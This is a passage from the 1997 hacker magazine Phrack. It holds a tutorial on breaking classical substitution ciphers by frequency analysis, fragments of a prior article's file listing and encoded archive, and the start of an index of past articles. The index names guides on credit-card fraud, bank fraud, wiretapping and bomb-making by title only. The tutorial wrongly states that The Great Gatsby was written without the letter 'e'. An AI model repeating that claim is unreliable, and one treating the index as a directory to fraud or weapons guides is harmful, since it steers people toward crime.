eb32d19e992e4663df29141cedf6ec0aa3f92af3 pgp/config.txt 7b1da1bd199b2dded10216a3d19e4b05bbb66c90 eternity.conf a44cec86d7d0f1cf1239f1c00bb21dc3476148b4 sha1.pl.dist 1f9f7860c8c2d5b376c8bffa7417ffe54b8b1429 newsgroups 926a9630fd214b756ecc18658d813017b288bf2c sha1/sha1.c 58989aa6f40b06136d078a96ad958b482756fe8f sha1/endian.c 2d46e74b805ee06d3960ff756a09407f0b3267fa sha1/sha1.h 21e7e596a715c6ed247f9444393df675d7447f23 sha1/endian.h 5f9c194f542960c8e7f9f6d81f84cd3b62dd4032 sha1/sha1file.c 4544f194e381a3b64150f3761900993d28c5f465 sha1/sha1test.c ea58eec253cdb4af6d3958d94cebfbe39988da44 sha1/timer.c 22a60ac9aa0242ad6ee00da8781500c5c1311837 sha1/timer.h 67d37d81d0064c2a0a1a369cba2cfc2f9d878803 sha1/types.h f7691ef67ac7a111082c6730b045ea2dc00dd903 sha1/compiling 01a7b85827ff35583bd11cecb7470c4917fdd0ea sha1/README efc53ecc93eb1105341f4e250ecf654a44a11394 sha1/Makefile 5375b154bd0724dc0c6ee6fac59bbc5c93a6a209 adam‑key.asc 0b9849c2332e5d7aa7714adc67861465d99b34db mime.types b50a661ba69747c8969ebfb9c997eaf0f1b75893 README d498a12d0a795d3ae22bc059631293b0a0ab4cd1 ANNOUNCE ba8ccee1f86dc5872b5ce95c0e2e494924b927f8 configure 6f9bcf72be9f836f5201bc430cc764828fda68ba news/alt/anonymous/messages/1 ac26faf5df1e14eaefa6e0e05f5be2d2f1ee67db news/alt/anonymous/messages/2 75ead2fb83bf3fa2c701b70741097f4956fb9043 news/alt/anonymous/messages/3 4c892147c69fcfb60803587c5606427d1641d473 ecat fa3b13f3e8241936795d97f72fe647f0a4a26902 CHANGELOG 31cc2c663972f536922f3603625804a42b40c367 UTILS 08120e964cb8b61f2c95ac155a3f75ce8b27535b dcrypt 0fded38fd70c8626551e7bb21657cd960c2b8f67 sitegrab.dist 7121ab8cd3e54bc962524054c95316b28d8c76e4 dev/submit 56a1cb622bf8df7f863e8449a97ef8746a0d2469 dev/submit.html f1b6720b0861b1d79fbedcfa4cc694b1172c81a1 SITEGRAB 428d389aa228d9e96c678d4400179df1ab5db0a3 fred.asc 3ed6458862762fa993a900ec1b5dc8e2c739f61c eternity.gif 5ea784f32dc51d74ae98134adcd93126230d5a0f rsa.gif 2c62082f57ca8c0019f741d04f5f14133976bb15 cypherpunks.gif 3d7f09b91b04577dc4406eb9493753dc1e3ba7d2 datahaven.gif 8016173f3db9fccd0b787c9682e7b7bec1ada3b8 index.html.dist 108e0ef9d29387e3cf57b68614a4e8b2961c2d02 disclaimer.html 7ca4684965a7b4d51ad032f85c20480f0cd175fe eternity.cgi.dist 08b072350488abc3ac6337ce95d7cf881e1f547b directory.html.dist 769d9620c85de07a3ce6703a39b56eafdd3cad9d host.html 24f17a65a4a637d60c5cbaab485eda231adb62c6 dbmcat.dist 584d76031069f89fef3288cdbb6bed6e89ec7fd6 ecrypt.dist 122584c63267811628cc790ef898e9d651cdc728 LIST

‑‑‑‑‑BEGIN PGP SIGNATURE‑‑‑‑‑

Version: 2.6.3i

Charset: noconv

iQEVAwUBM/L+RT57yqgoskVRAQHpdAgAjbGfqr4FaycrS/LOHq4TnAQIBoTYx+6k cG9DTnUMp/gQSXqwBzvSv1bmou/+nwvH/qC5UgXc7Ko98rT8+tAatfrZj3u1g36M a63oWtonLFJowOO8w1jBiPSpl44kT25hPYZ2qUscVC1qGzbSmutHhDyToY4y4i7L v2TARR4Jq3dJI67WT63dxr1/o+AnTtNZBTq5c9z5LzfQWVfP9HRaOgYXF6d4LrVZ 7NF3YKImEe5914L45CUW+OjJcsabGufFVj4waR0kNhdmA7ZQT3cxkg5Ygv6jhtcn q7Ys67hMAYU0TGrxvyogEy23FyzXC5wi1JY2NBYnE+AuJXObDGB85w==

=Xfz4

‑‑‑‑‑END PGP SIGNATURE‑‑‑‑‑

<‑‑>

<++> es.tgz.uue

begin 600 eternity‑0.10.tgz

M'XL("/^L^3,``V5T97)N:71Y+3`N,3`N=&%R`.P\^W?:1K/]U?P56Z+&8`‑&

end

<‑‑>

‑‑‑‑[ EOF

Monoalphabetic cipher cryptanalysis

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 13 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Monoalphabetic Cryptanalysis (Cyphers, Part One)

‑‑‑‑‑‑‑‑[ Jeff Thompson aka 'Mythrandir' <jwthomp@cu‑online.com>

Written for Phrack and completed on Sunday, August 31st, 1997.

‑‑‑‑‑‑‑‑‑

First a quick hello to all of those I met at DefCon this year. It was incredible fun to finally put faces to many of the people I have been talking with for some time. It was truly was a treat to meet so many others who are alive with the spirit of discovery.

‑‑‑‑‑‑‑‑‑‑

This is the first in a series of articles on Cryptology that I am writing. The goals of these articles will be to attempt to convey some of the excitement and fun of cyphers. A topic of much discussion in regards to cryptography currently, is about computer based cyphers such as DES, RSA, and the PGP implementation. I will not be discussing these. Rather, these articles will cover what I will term classical cryptology. Or cryptology as it existed before fast number crunching machines came into existance. These are the sorts of cyphers which interested cryptographers throughout time and continue to be found even to this very day. Even today, companies are producing software whose encryption methods are attackable. You will find these commonly among password protection schemes for software programs. Through the course of these articles I will explain in practical terms several common cypher types and various implementations of them as well as cryptanalytic techniques for breaking these cyphers.

Creating cyphers is fun and all, but the real excitement and often times tedium is found in Cryptanalysis. Many of the ideas presented in these articles will based on three sources. The following two books: The Codebreakers by David Kahn (ISBN: 0‑684‑83130‑9) and Decrypted Secrets by F.L. Bauer (ISBN: 3‑540‑60418‑9). Both authors have put together wonderful books which both cover the history and methods of Cryptology. Do yourself and the authors a favor and purchase these books. You will be very pleased with the lot. Finally, a miniscule amount of these articles will be written based on my own personal experience.

The fun is in the journey and I welcome you on what is certain to be an interesting trip. Please feel free to raise questions, engage me in discussions, correct me, or simply offer suggestions at jwthomp@cu‑online.com. Please be patient with me as I am traveling extensively currently, and may be away from the computer at length occasionally.

Out the door and into the wild...

‑‑Monoalphabetic Cyphers

Monoalphabetic cyphers are often currently found in simple cryptograms in books and magazines. These are just simple substitution cyphers. This does not mean that they are always simple for the beginning amateur to solve.

Three common monoalphabetic cyphers which are used are substitution, cyclical, and keyed cyphers.

‑Substitution Cyphers

By taking an alphabet and replacing each letter with another letter in a unique fashion you create a simple monoalphabetic cypher.

Plaintext AlphabetA B C D E F G H I J K L M N O P Q R S T U V W X Y Z Cypher AlphabetZ I K M O Q S U W Y A C E B D F H J L N P R T V X G

Plaintext Message

The blue cow will rise during the second moon from the west field.

Cyphertext Message

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.

‑Cyclical Cyphers

By taking an alphabet and aligning it with a rotated alphabet you get a cyclical cypher. For example:

Plaintext AlphabetA B C D E F G H I J K L M N O P Q R S T U V W X Y Z Cypher AlphabetN O P Q R S T U V W X Y Z A B C D E F G H I J K L M

Indeed, you may recognize this cypher as a ROT13 which is commonly used on news groups to obscure messages.

‑Keyed Cypher

Another way to create a monoalphabetic cypher is to choose a keyword or phrase as the beginning of the cypher alphabet. Usually, only the unique letters from the phrase are used in order to make sure the plaintext to cyphertext behaves in a one to one fashion.

For example:

Plaintext Alphabet:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Cypher AlphabetL E T O S H D G F W A R B C I J K M N P Q U V X Y Z

The passphrase in this cypher is "Let loose the dogs of war" The advantage of such a system is that the encryption method is easy to remember. Also, a method of key change can be created without ever having to distribute the keys. For example, one could use the 4 words at a time of some piece of literature. Every message could use the next four words. Indeed, this change could occur more frequently, but that is a subject for another article.

‑Bipartite Substitution

Bipartite substition is the use of symbol pairs to represent plaintext. Later we will see that this sort of substitution lends itself to be easily made more difficult to analyze. Two examples of this are:

1 2 3 4 5 A B C D E

1 A B C D E A A B C D E

2 F G H I J B F G H I J

3 K L M N O C K L M N O

4 P Q R S Tor D P Q R S T

5 U V W X Y E U V W X Y

6 Z 0 1 2 3 F Z 0 1 2 3

7 4 5 6 7 8 G 4 5 6 7 8

9 9 . ‑ ? , H 9 . ‑ ? ,

Obviously, the letters do not need to be placed in this order as their solutions would not be that difficult to guess.

‑‑Cryptanalysis

Previously we created a cyphered message:

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.

If one were to receive this message, figuring out its contents might seem fairly daunting. However, there are some very good methods for recovering the plaintext from the cyphertext. The following discussion will work under the assumption that we know the cyphers with which we are dealing are monoalphabetics.

‑Frequency Analysis

The first method we will use is frequency analysis. Natural languages have many qualities which are very useful for the analysis of cyphertext. Languages have letters which occur more commonly in text, collections of letters which are more frequent, patterns in words, and other related letter occurances.

Counting up the occurances of letters we find that there are...

letteroccurances

b3

c4

d5

e2

i1

j3

k2

l3

m3

n4

o8

p2

q2

s1

t3

u3

w4

The order of greatest frequency to least is:

8 5 4 3 2 1

{o} {d} {c n w} {b j l m t u} {e k p q} {i s}

If this sort of analysis were run on many volumes of english you would find that a pattern would emerge. It would look like this:

{e} {t} {a o i n} {s r h} {l d} {c u m f} {p g w y b} {v k} {x j q z}

You will notice an immediate correlation between e and o. However, for the rest of the letters we can not be very certain. In fact, we can not be very certain about e either.

Since this text is short it is helpful to take a look at some of the other behaviors of this text.

Counting up the first, second, third, and last letters of the words in this text we find the following frequencies:

First Letter in wordOccurances

e1

i1

j1

k1

l1

m1

n3

q2

t2

Order:

n q t e i j k l m

Second letter in wordOccurances

c1

d2

i1

n1

o2

p1

u3

w3

Order:

u w d o c i n p

Third letter in wordOccurances

c1

d2

i1

k1

l2

o4

p1

t1

u1

Order:

o d l c i k p t u

Last letter in wordOccurances

b1

c1

e1

m1

n1

o5

s1

t1

English frequency for first letter:

t a o m h w

Second letter:

h o e i a u

Third letter:

e s a r n i

Last letter:

e t s d n r

Noticing the higher frequency count for 'o' in the third and last letters of words in addition to its absence as a first letter in any words gives us strong reason to believe that 'o' substitutes for 'e'. This is the first wedge into solving this cypher.

However, do not be fooled by the apparent strengths of frequency analysis. Entire books have been written without the use of some letters in the English alphabet. For instance The Great Gatsby was written without using the letter 'e' in one word of the book.

Other items to analyze in cyphertext documents is the appearance of letters in groups. These are called bigrams and trigrams. For example, 'th' is a very common letter pairing in the english language. Also, as no surprise 'the' is a very common trigram. Analysis of english documents will find these results for you.

So now that that we have developed a simple way of starting to attack cyphers lets examine a few ways to make them more difficult to break.

‑‑Strengthening Cyphers

‑Removing word and sentence boundaries

A simple way to complicate decypherment of a cyphertext is to remove all spacing and punctuation. This makes it more difficult to perform a frequency analysis on letter positions. However, it is possible to make reasonable guesses as to word positions once yoy begin to study the document. Another method is to break the cyphertext into fixed blocks. For example after every four letters a space is placed.

The previous cypher text would appear as this:

nuoicpokdttwccjwlompjwbsnuolokdbmeddbqjdenuotolnqwocm.

or this:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc m

You will notice that the above line ends with a single character. This gives away the end of the text and would be better served by the placement of nulls, or garbage characters. The above line becomes:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc mhew

'hew' will decypher to 'qmi' which will clearly appear to be nulls to the intended recipient.

‑Nulls

Nulls are characters used in messages which have no meanings. A message could be sent which uses numbers as nulls. This makes decypherment more difficult as part of the message has no meaning. Until the decypherer realizes this, he may have a hard time of solving the message.

‑Polyphony

Another method that can be applied is the use of polyphones. Polyphones are simply using a piece of cyphertext to represent more than one piece of plaintext. For example a cyphertext 'e' may represent an 'a' and a 'r'. This does complicate decypherment and may result in multiple messages. This is dangerous as these messages are prone to errors and may even decypher into multiple texts.

A new cyphertext alphabet would be

Cyphertext alphabetA B C D E F G H I J L N P

Plaintext alphabetZ X U S Q O M K H N R V W

B D F G I A C E L P J T Y

Our old plaintext message becomes

nih aich gfp peii ledh bclejd nih dhgfjb gffj clfg nih phdn cehib

This decypherment becomes very tricky for someone to accomplish. Having some knowledge of the text would be a great help.

If it appears that very few letters are being used in a document then you may wish to suspect the use of polyphones within a document.

‑Homophones

Homophones are similar to polyphones except that there is more than one cyphertext letter for every plaintext letter. They are useful to use in that they can reduce the frequencies of letters in a message so that an analysis yields little information. This is very easy to do with bipartite substitution cyphers. For example:

a b c d e

a a b c d e

b f g h i j

c k l m n o

d p q r s t

e u v w x y

f z * * * *

*(fb, fc, fd, fe are NULLS)

We can add homophones to the message like this:

a b c d e

i h g a a b c d e

k j b f g h i j

n l c k l m n o

o m d p q r s t

p e u v w x y

f z * * * *

The optimal way to set up these homophones is to calculate the frequency of appearance in the natural language you are using of each row of letters. Homophones should be added so that the cyphertext appearance of each homophone is reduced to a level where frequency analysis would yield little information.

‑Code Words

One final method which can be used is that of code words. Simply replace important words in the plaintext with code words which represent another word. For example the nonsense plaintext that has been chosen for this document could actually mean:

The blue cow will rise during the second moon from the west field.

The king is angry and will attack in two weeks with the 1st calvary by way of the foothills.

blue is angry

cow is king

rise is attack

second is two weeks

moon is 1st calvary

west field stands for some foothills on the west side of the kingdom.

Throughout this document I have mentioned frequency analysis of english documents. This is a fairly tedious task to do by hand, and so I am developing software to aid in frequency analysis of documents. I will be making it available via my website at http://www.cu‑online.com/~jwthomp/ on

Monday, September 8th. Please watch for it in the Cryptography section.

Ok, now to try your hand at a few cyphertexts..

This one has to do with war.

1)

kau noelb'd oerf xmtt okkopw ok qoxb euoqf kau kurhtoe wbmcakds, obq dkemwu amd podktu xamtu xu altq amr

This one is an excerpt from a technical document.

2)

etdsalwqs kpjsjljdq gwur orrh frurdjkrf sj qtkkjps npjtk ljeethalwsajhq sgrqr kpjsjljdq tqr w jhr sj ewhy kwpwfane ijp spwhqeaqqajh sykalwddy tqahn ldwqq f ahsrphrs kpjsjljd wffprqqrq sj qkrlaiy qkrlaial etdsalwqs npjtkq

Mail me your answers and I'll put the first person who solves each cypher in the next Phrack.

In fact, I would enjoy seeing some participation in this for the next Phrack. After reading this, I welcome the submission of any "Monoalphabetic" cypher based on the discussions of this article. Please do not yet submit any polyalphabetic cyphers (Next article). When submitting to me, please send me two letters. The first mail should include only the encyphered text. Make sure it is enough so that a reasonable examination can be made of the cypher. This first mail should have a subject "Cyphertext submission". If you are using a method of encypherment not found in this article, please enclose a brief description of the type of method you used. Follow this mail up with another entitled "Cyphertext Solution" along with a description of the encyphering method as well as the key or table used.

I will select a number of these texts to be printed in the next Phrack, where readers may have a chance at solving the cyphers. The reason I ask for two seperate mailing is that I will want to take a crack at these myself. Finally, the names of individuals will be placed in the following phrack of the first to solve each cypher, and whomever solves the most cyphers prior to the next Phrack release (real name or pseudonym is fine).

Please mail all submissions to jwthomp@cu‑online.com

I welcome any comments, suggestions, questions, or whatever at jwthomp@cu‑online.com

‑‑‑‑[ EOF

Phrack Magazine Article Index Guide

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 14 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K I N D E X G U I D E

‑‑‑‑‑‑‑‑[ Guyver

‑=Guyver=‑

P r e s e n t s

##### ## ## #####

## ## ## ## ## ##

## ## ## ## ## ##

##### ###### #####

## ## ## ## ##

## ## ## ## ##

MAGAZINE INDEX GUIDE

2nd edition 1997

Phrack 1‑50, Articles indexed according to author, subject, and title.

KEY: I1 F1 2k = Issue 1 File 1 of Phrack k=kilobytes long

** A **

"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k "Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k "Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k "Acronyms Part I" by Firm G.R.A.S.P.. 1993. I43 F21 50k "Acronyms Part II" by Firm G.R.A.S.P.. 1993. I43 F22 51k "Acronyms Part III" by Firm G.R.A.S.P.. 1993. I43 F23 45k "Acronyms Part IV" by Firm G.R.A.S.P.. 1993. I43 F24 52k "Acronyms Part V" by Firm G.R.A.S.P.. 1993. I43 F25 46k "Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 9k "Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k "Advanced Modem‑Oriented BBS Security" by Laughing Gas & Dead Cow. 1991 I34 F9 11k

Agent 005 authored

"Interview With Agent Steal" 1993. I44 F16 14k

Agent Steal authored

"Tapping Telephone Lines" 1987. I16 F6 9k

"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k

"AIS ‑ Automatic Intercept System" by Taran King. 1987. I11 F6 16k Al Capone authored

"Searching The Dialog Information Service" 1993. I44 F18 48k Aleph1 authored

"Smashing The Stack For Fun And Profit" 1996. I49 F14 66k Aleph1 was Pro‑Philed in 1997. I50 F4 7k

alhambra authored

"SNMP insecurities" 1997. I50 F7 20k

"Phrack World News" 1997. I50 F15 110k

co‑authored

"Project Loki: ICMP Tunneling" 1996. I49 F7 38k

Alpine Kracker authored

"Smoke Bombs" 1986. I6 F6 2k

Amadeus submitted

"Cellular Spoofing by Electronic Serial Numbers" 1987. I11 F9 "Telenet/Sprintnet's PC Pursuit Outdial Directory" 1991. I35 F4 90k

ANARCHY

(See also CREDIT CARDING, DRUGS, EXPLOSIVES, HACKING, LOCK PICKING, PHREAKING, WEAPONS)

"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k "Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k "Eavesdropping" by Circle Lord. 1986. I3 F7 3k

"False Identification" by Forest Ranger. 1986. I4 F3 3k "Fun With Lighters" by The Leftist. 1986. I6 F4 2k

"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k "Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989. I26 F7

"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k "Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991. I35 F6 13k

"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k "The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k "The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k

"Are You a Phone Geek?" by Doom Prophet. 1987. I13 F7 9k Aristotle was Pro‑Philed in 1992 I38 F3 6k

Armitage authored

"The Glenayre GL3000 Paging and Voice retrieval System" 1995. I47 F14 25k

"The Art of Investigation" by Butler. 1990. I32 F4 18k

"The Art of Junction Box Modeming" by Mad Hacker 616. 1986. I8 F5 6k "AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k

"The AT&T Mail Gateway" by Robert Alien. 1991 I34 F4 5k "Auto‑Answer It" by Twisted Pair. 1991. I35 F9 10k

"Automatic Number Identification" by Phantom Phreaker and Doom Prophet. 1987. I10 F7 9k

"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k

** B **

Bad Boy in Black authored

"Hand to Hand Combat" 1986. I5 F4 13k

BANK FRAUD

"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k "Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k "How We Got Rich Through Electronic Fund Transfer" by Legion of Doom!. 1990. I29 F7 11k

"Introduction to the FedLine software system" by Parmaster. 1996. I49 F12 19k

"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k "Basic Commands for The VOS System" by Dr. No‑Good. 1992. I37 F8 10k "Basic Concepts of Translation" by The Dead Lord and Chief Executive Officers. 1989. I26 F6 20k

"Beating The Radar Rap Part 1/2" by Dispater. 1992. I27 F5 12k 44k "Beating The Radar Rap Part 2/2" by Dispater. 1992. I28 F6 5k 15k "A Beginner's Guide to The IBM VM/370" by Elric of Imrryr. 1987. I10 F4 4k "A Beginner's Guide to Novell Netware 386" by The Butler. 1991. I35 F8 84k "Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k "BELLCORE Information" by The Mad Phone‑Man. 1987. I16 F2 11k

"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989. I23 F10

Bill Huttig authored

"Special Area Codes II" 1992. I39 F7 17k

BITNET see WIDE AREA NETWORKS

Black Kat authored

"Users Guide to VAX/VMS Part 1/3" 1991 I35 F7 62k "Users Guide to VAX/VMS Part 2/3" 1992 I37 F7 25k "Users Guide to VAX/VMS Part 3/3" 1992 I38 F7 46k

Black Knight from 713 authored

"Hacking Voice Mail Systems" 1987. I11 F4 6k

Black Tie Affair authored

"Hiding Out Under Unix" 1989. I25 F6 9k

"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k "Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989. I29 F9 22k

"Blowguns" by The Pyro. 1985. I2 F4 3K 3K

"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k

Bob Page authored

"A Report on The Internet Worm" 1988. I22 F8 16k

Bobby Zero authored

"Security Shortcomings of AppleShare Networks" 1992. I41 F9 16k "Bolt Bombs" by The Leftist. 1986. I5 F6 3k

Boss Hogg authored

"The Craft Acces Terminal" 1996. I48 F8 36k

"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k

"Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k "Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k Broadway Hacker Pro‑Philed in 1986. I5 F2 5k

Brian Oblivion authored

"Cellular Telephony" 1992. I38 F9 28k

"Cellular Telephony Part II" 1992. I40 F6 72k "DIALOG Information Network" 1992. I39 F5 43k

Brigadier General Swipe authored

"An Introduction to MILNET" 1991 I34 F7 8k

Bruce Sterling authored

"Phrack World News Special Edition IV" (CyberView '91) 1991. I33 F10 28k "BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k

"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k

"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k

"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k

"Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k "Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k Butler authored

"The Art of Investigation" 1990. I32 F4 18k

"A Beginners Guide to Novell Netware 386" 1991. I35 F8 84k

** C **

CABLE

"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k

Caligula XXI authored

"Mall Cop Frequencies" 1992. I41 F10 11k

"Can You Find Out If Your Telephone is Tapped?" by Fred P. Graham and VaxCat 1989. I23 F9 20k

Cap'n Crax authored

"The TMC Primer" 1987. I10 F3 6k

CARDING

"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k "Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k "Card‑O‑Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992. I37 F6 44k

"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k "Safe and Easy Carding" by Vaxbuster. 1993. I44 F20 18k "VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k "VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k

"Card‑O‑Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992. I37 F6 44k

CARD GAMES

"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k "How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k

Carl Corey authored

"A Guide To Porno Boxes" 1994. I46 F10 13k

Carrier Culprit authored

"Hacking DEC's" 1986. I5 F3 23k

The Cavalier authored

"How to Build a DMS‑10 Switch" 1992 I41 F7 23k "Introdcution to Telephony and PBX Systems" 1996. I49 F5 100k "Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k "Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k

"Cellular Spoofing by Electronic Serial Numbers" by Author Unknown. 1985. I11 F9 submitted by Amadeus

"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k "Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k

"Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k

CELLULAR TELEPHONY

"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k "Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k "Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k "Cellular Spoofing by Electronic Serial Numbers" by ?. 1985. I11 F9 submitted by Amadeus

"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k "Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k "Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k "Mobile Telephone Communications" by Phantom Phreaker. 1986. I5 F9 11k "Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k "Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k

"Centrex Renaissance" by Jester Sluggo. 1986. I4 F7 17k

"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k Charlie X authored

"Screwing Over Your Local McDonalds" 1994. I45 F19. 20k Cheap Shades authored

"Boot Tracing" 1985. I1 F3 8k

Introduction/Index for I3 F1

co‑authored

"Welcome to Metal Shop Private" 1988. I20 F4 37k

Cherokee authored

"Motorola Command Mode Information" 1996. I48 F6 38k

Chief Executive Officers co‑authored

"Basic Concepts of Translation" 1989. I29 F6 12k

Crimson Flash authored

"The Fine Art of Telephony" 1992. I40 F7 65k

Chris Goggans authored

"Packet Switched Network Security" 1992. I42 F4 22k

Chris Goggens was Pro‑Philed in 1991. I35 F3 20k

Chris Hibbert of CPSR authored

"Social Security Numbers & Privacy" 1991. I35 F6 13k Circle Lord authored "Building a Shock Rod" 1986. I3 F8 3k "Eavesdropping" 1986. I3 F7 3k

"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k "City‑Wide Centrex" by The Executioner. 1986. I8 F3 14k

cjml authored

"Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k The Clashmaster authored

"How to Make Acetylene Bombs" 1985. I1 F7 4k

Co/Dec authored

"Physical Access and Theft of PBX Systems" 1993. I43 F15 28k "Fraudulent Applications of 900 Services" 1994. I45 F18 15k CODES

"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k

Compaq Disk(Crimson Death) co‑authored

"Introduction to Diet Phrack" 1991. I36. F1 8k

"The Complete Guide to Hacking WWIV" by Inhuman. 1991 I34 F5 20k "The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995. I47 F15 10k

"CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k

"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k "Computer‑Based Systems for Bell System Operation" by Taran King. 1989. I20 F2

"Computer Hackers Follow a Guttman‑Like Progression" by Richard C. Hollinger 1988. I22 F7 10k

"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990. I32 F3

"Conference News Part I" by Various Sources. 1993. I43 F7 53k "Conference News Part II" by Various Sources. 1993. I43 F8 58k "Conference News Part I" by Various Sources. 1993. I44 F6 55k "Conference News Part II" by Various Sources. 1993. I44 F7 35k "Conference News Part III" by Various Sources. 1993. I44 F8 50k "The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k "Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k "Content‑Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k "Control Office Administration of Enhanced 911 Service" by The Eavesdropper. 1989. I24 F6 12k

Control C authored

"Digital Multiplexing Systems (Part 2)" 1988. I19 F3 18k "Inside Dialog" 1986. I9 F5 8k

"Loop Maintenance Operating System" 1988. I18 F8 32k "TRW Business Terminology" 1987. I14 F6 5k "Understanding The Digital Multiplexing Systems (DMS)" 1987. I12 F4 19k "Understanding DMS Part II" 1987. I14 F5 18k "Computerists Underground News Tabloid ‑ CUNT" by Crimson Death. 1987. I13 F8 11k

Control C was Pro‑Philed in 1994. I44 F7 22k

COSMOS

"COSMOS: COmputer System for Mainfrmae OperationS (Part One)" by King Arthur. 1989. I26 F5 13k

"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by King Arthur. 1989. I27 F5 12k

"Cosmos Overview" by EBA. 1990. I31 F6 52k

"COSMOS: COmputer System for Mainframe OperationS (Part One)" by King Arthur. 1989. I26 F5 13k

"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by King Arthur. 1989. I27 F5 12k

Cosmos Kid authored

"A Hacker's Guide to Primos: Part 1" 1987. I16 F3 11k "Cosmos Overview" by EBA. 1990. I31 F6 52k

Count Zero authored

"Card‑O‑Rama:Magnetic Stripe Technology and Beyond" 1992. I37 F6 44k "Phrack World News:Special Report VI on WeenieFest'92" 1992 I37 F10 14k "HoHoCon" 1995. I48. F11 33k

"Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k

CRACKING (of software)

"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k

"Cracking NT Passwords" by Nihil. 1997. I50 F8 17k

"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k "Crashing DEC‑10's" by The Mentor. 1986. I4 F6 5k

CREDIT BUREAUS

"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k "Reading Trans‑Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k "TRW Business Terminology" by Control C. 1987. I14 F6 5k

"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k

CREDIT CARDING

(see also CREDIT BUREAUS, CARDING)

"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k "Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k

"The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k

Crimson Death was Pro‑Philed in 1986. I4 F1

Crimson Death (713) authored

